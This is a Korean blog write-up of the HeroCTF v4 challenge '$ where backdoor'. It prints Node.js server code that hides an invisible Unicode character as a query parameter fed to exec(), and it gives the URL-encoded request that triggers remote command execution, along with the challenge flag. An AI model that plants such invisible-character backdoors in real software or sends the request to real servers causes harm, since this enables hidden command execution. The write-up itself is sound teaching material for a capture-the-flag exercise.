• [HeroCTF v4] $ where backdoor

    2022. 6. 1.

    by. hackintoanetwork


    

    웹 사이트를 둘러보면 간단한 API를 통해 백엔드와 상호 작용하고 있는 부분을 확인할 수 있다.


    페이지 스크롤을 내리면 소스 코드 파일도 다운 받을 수 있다.


    다운 받은 소스 코드 분석 결과, 원격 코드를 실행 시키는 유일한 방법은 server/server.js의 checkCommands 목록에 있는 exec() 함수를 통하는 것뿐이었다.

    app.get('/server_health', cors(corsOptions), async (req, res) => {
        var { timeout,ㅤ} = req.query;
        const checkCommands = [
            '/bin/bash /home/player/scripts/fileIntegrity.sh',
            '/bin/bash /home/player/scripts/isUp.sh localhost:80',
            '/bin/bash /home/player/scripts/isUp.sh localhost:3000',ㅤ
        ];
    
        var t = 0;
        if (timeout != "") {
            t = parseInt(t);
        }
    
        try {
            output = ""
            await Promise.all(checkCommands.map(async (cmd) => {
                try {
                    r = await exec(cmd, { timeout: t });
                    output += r.stdout.trim() || r.stderr.trim();
                } catch (err) {
                    output += "";
                }
                output += "\n"
            }));
            res.status(200);
            res.send(output.trim());
        } catch(e) {
            res.status(500);
            res.send('Server status : ERROR');
        }
    });

    그렇게 계속 백도어를 찾던 중 vscodeserver/server.js 파일을 열었더니 투명색 무언가가 강조 되고 있는 걸 발견할 수 있었다.

    알고보니 checkCommands 마지막 목록 뒤에 보이지 않는 변수가 있었다.

    (함수가 요청 쿼리 파라미터에서 파라미터를 복구할 때(타임아웃 포함) 첫 번째 줄에도 동일한 요소가 있다.)


    투명한 문자가 백도어인 듯 하다.

    투명한 문자를 URL에 넣기 위해서 URL 인코딩을 해주었다.


    URL 인코딩한 결과 값(%E3%85%A4)을 웹페이지 입력 필드에 넣었고 원격 코드를 실행 시킬 수 있었다.

    /server_health?%E3%85%A4=<command>


    원격 코드 실행으로 디렉터리를 탐색해보았고 flag.txt를 상위 디렉터리에서 찾을 수 있었다.

    Flag : Hero{1nv1s1b1e_b4ckd0or_w7f}

     

    'CTF > HeroCTF v4' 카테고리의 다른 글

    [HeroCTF v4] SmallMistakeBigMistake  (1) 2022.05.31

    댓글